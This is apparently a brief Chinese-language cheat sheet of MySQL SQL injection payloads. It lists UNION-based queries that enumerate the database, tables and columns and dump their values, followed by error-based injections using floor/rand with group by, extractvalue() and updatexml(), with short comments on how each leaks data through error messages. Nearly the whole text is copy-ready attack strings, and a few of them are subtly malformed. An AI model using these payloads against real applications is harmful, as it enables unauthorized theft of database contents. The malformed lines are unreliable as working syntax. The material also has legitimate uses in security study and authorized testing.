union联合查询注入

xx' union select database()
xx' union select table_name from information_schema.tables where table_schema ='DATABASE'
xx' union select column_name from information_schema.columns where table_name='TABLE'
xx' union select group_concat(*)/concat(0x7e,COLUMN1,0x7e,COLUMN2) from DATABASE.TABLE

报错注入

floor()+count(*)+concat()+rand(0)*2+group by
#其实是group by 和count(*)和rand()的化学反应,缺一不可
xx' and select count(*) from information_schema.tables group by concat(0x7e,(SELECT VERSION()),0x7e,floor(rand(0)*2))

extractvalue()
#第二个参数XPath不符合格式的符号包括其后报错
xx' and select extractvalue(1,concat(0x7e,(SELECT VERSION()),0x7e))

updatexml()
#无需使用select,其他同上
xx' and updatexml(1,concat(0x7e,(SELECT VERSION()),0x7e),1)